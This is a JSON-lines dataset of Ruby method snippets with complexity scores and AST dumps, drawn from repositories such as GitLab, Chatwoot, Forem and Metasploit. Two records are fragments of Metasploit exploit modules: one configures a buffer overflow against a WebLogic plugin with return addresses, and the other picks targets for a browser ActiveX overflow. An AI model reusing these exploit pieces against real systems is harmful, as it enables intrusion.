}\n          ],\n          [\n            'Windows Apache 2.2 - WebLogic module version 1.0.1150354',\n            {\n              'Ret' => 0x1006c9be,    # jmp esp\n            }\n          ],\n        ],\n        'DefaultTarget' => 1,\n        'DisclosureDate' => '2009-01-13',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80)\n      ]\n    )\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"BEA WebLogic JSESSIONID Cookie Value Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          code is only accessible when clustering is configured. A request containing a\\n\"]},{\"type\":\"str\",\"children\":[\"          long JSESSION cookie value can lead to arbitrary code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"pusscat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-5457\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"51311\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\r\\n ;=,\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Apache 2.2 - WebLogic module version 1.0.1136334\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268880309]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Apache 2.2 - WebLogic module version 1.0.1150354\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268880318]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-01-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]}]}]}]}]}","id":"4eadf41d-0010-4942-a6de-2497d2013133"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/todos_destroyer/confidential_issue_worker.rb","start_line":12,"raw_source":"def perform(issue_id = nil, project_id = nil)\n      ::Todos::Destroy::ConfidentialIssueService.new(issue_id: issue_id, project_id: project_id).execute\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"issue_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"project_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Todos\"]},\"Destroy\"]},\"ConfidentialIssueService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]},\"execute\"]}]}","id":"b9cd0617-be27-40de-8f0a-b36bd2dbd6ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ntr_activex_check_bof.rb","start_line":244,"raw_source":"def get_target(agent)\n    # If the user is already specified by the user, we'll just use that\n    return target if target.name != 'Automatic'\n    if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6/\n      return targets[1] # IE 6 on Windows XP SP3\n    elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7/\n      return targets[2] # IE 7 on Windows XP SP3\n    elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8/\n      return targets[3] # IE 7 on Windows XP SP3\n    elsif agent =~ /NT 6\\.0/ and agent =~ /MSIE 7/\n      return targets[4] # IE 7 on Windows Vista SP2\n    elsif agent =~ /NT 6\\.0/ and agent =~ /MSIE 8/\n      return targets[5] # IE 7 on Windows Vista SP2\n    elsif agent =~ /NT 6\\.1/ and agent =~ /MSIE 8/\n      return targets[6] # IE 7 on Windows 7 SP1\n    elsif agent =~ /NT 6\\.1/ and agent =~ /MSIE 9/\n      return targets[7] # IE 7 on Windows 7 SP1\n    else\n      return nil\n    end\n  end","complexity_score":47.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 6\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 7\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 8\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 7\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 8\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 8\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NT 6\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MSIE 9\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}","id":"2849afc8-db68-4d9b-a5c0-30bb0fc34823"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/http_response_parser.rb","start_line":17,"raw_source":"def log_oversize_response\n      Gitlab::AppJsonLogger.info(\n        message: 'Large HTTP JSON response',\n        number_of_fields: total_value_count_estimate,\n        caller: Gitlab::BacktraceCleaner.clean_backtrace(caller)\n      )\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_oversize_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppJsonLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Large HTTP JSON response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_fields\"]},{\"type\":\"send\",\"children\":[null,\"total_value_count_estimate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"BacktraceCleaner\"]},\"clean_backtrace\",{\"type\":\"send\",\"children\":[null,\"caller\"]}]}]}]}]}]}","id":"5a338354-9cb4-48f9-aec9-6e1a79941fdb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/redis/alfred.rb","start_line":67,"raw_source":"def hset(key, field, value)\n      $alfred.with { |conn| conn.hset(key, field, value) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"hset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$alfred\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"hset\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"f344e595-66dc-4b70-aebb-ddfdd1400017"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/data_builder/pipeline.rb","start_line":12,"raw_source":"def initialize(pipeline)\n        @pipeline = pipeline\n\n        attrs = {\n          object_kind: 'pipeline',\n          object_attributes: hook_attrs(pipeline),\n          merge_request: pipeline.merge_request && merge_request_attrs(pipeline.merge_request),\n          user: pipeline.user.try(:hook_attrs),\n          project: pipeline.project.hook_attrs(backward: false),\n          commit: pipeline.commit.try(:hook_attrs),\n          builds: Gitlab::Lazy.new do\n            preload_builds(pipeline, :latest_builds)\n            pipeline.latest_builds.map(&method(:build_hook_attrs))\n          end\n        }\n\n        if pipeline.source_pipeline.present?\n          attrs[:source_pipeline] = source_pipeline_attrs(pipeline.source_pipeline)\n        end\n\n        super(attrs)\n      end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_kind\"]},{\"type\":\"str\",\"children\":[\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_attributes\"]},{\"type\":\"send\",\"children\":[null,\"hook_attrs\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"merge_request\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"user\"]},\"try\",{\"type\":\"sym\",\"children\":[\"hook_attrs\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project\"]},\"hook_attrs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backward\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"commit\"]},\"try\",{\"type\":\"sym\",\"children\":[\"hook_attrs\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builds\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Lazy\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preload_builds\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]},{\"type\":\"sym\",\"children\":[\"latest_builds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"latest_builds\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"build_hook_attrs\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"source_pipeline\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"source_pipeline\"]},{\"type\":\"send\",\"children\":[null,\"source_pipeline_attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"source_pipeline\"]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"1ee34561-a5ab-4bdb-af92-5c75c7180f67"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/junit_output.rb","start_line":10,"raw_source":"def setup\n    @@document ||= REXML::Document.new(Brakeman.run(\"#{TEST_PATH}/apps/rails3.2\").report.to_junit)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@document\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REXML\"]},\"Document\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"run\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEST_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/apps/rails3.2\"]}]}]},\"report\"]},\"to_junit\"]}]}]}]}","id":"d727e4d0-262e-4656-bfa8-468c840954c8"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/settings/authentication.rb","start_line":71,"raw_source":"def self.limit_new_users?\n      new_user_status == \"limited\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"limit_new_users?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_user_status\"]},\"==\",{\"type\":\"str\",\"children\":[\"limited\"]}]}]}","id":"3a20c5cd-8427-4857-bd15-65de2be40434"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/person.rb","start_line":75,"raw_source":"def uid\n          entry.public_send(config.uid).first # rubocop:disable GitlabSecurity/PublicSend\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"uid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entry\"]},\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"uid\"]}]},\"first\"]}]}","id":"63530a4e-d778-4537-9950-a999f4fdec74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/generators/gitlab/usage_metric_generator.rb","start_line":74,"raw_source":"def file_name\n      \"#{class_name.underscore}_metric.rb\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_name\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\"_metric.rb\"]}]}]}","id":"4f03678a-198c-4436-8ffe-9186bd941db0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/observability/create_group_o11y_setting_worker.rb","start_line":74,"raw_source":"def log_error(message, group_id, user_id, error = nil)\n      Gitlab::AppLogger.error(\n        message: message,\n        group_id: group_id,\n        user_id: user_id,\n        error: error\n      )\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"group_id\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"optarg\",\"children\":[\"error\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}","id":"e7166d62-5756-4089-b474-d8f3c3d6ac6b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/conversations/labels_controller.rb","start_line":10,"raw_source":"def permitted_params\n    params.permit(:conversation_id, labels: [])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"2ca09683-5e3e-4e73-998d-b6ee175b4c17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/merge_request_reference_filter.rb","start_line":19,"raw_source":"def object_link_text_extras(object, matches)\n          extras = super\n\n          if commit_ref = object_link_commit_ref(object, matches)\n            klass = reference_class(:commit, tooltip: false)\n            commit_ref_tag = %(<span class=\"#{klass}\">#{commit_ref}</span>)\n\n            return extras.unshift(commit_ref_tag)\n          end\n\n          path = matches[:path] if matches.names.include?(\"path\")\n\n          case path\n          when '/diffs'\n            extras.unshift \"diffs\"\n          when '/commits'\n            extras.unshift \"commits\"\n          when '/builds'\n            extras.unshift \"builds\"\n          end\n\n          extras\n        end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"object_link_text_extras\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"matches\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extras\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_ref\",{\"type\":\"send\",\"children\":[null,\"object_link_commit_ref\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"matches\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"reference_class\",{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tooltip\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commit_ref_tag\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_ref\"]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"commit_ref_tag\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"names\"]},\"include?\",{\"type\":\"str\",\"children\":[\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/diffs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"diffs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/commits\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"commits\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/builds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"builds\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"extras\"]}]}]}","id":"dcc6e7d7-d4fe-4656-a81b-d10374e19f35"}
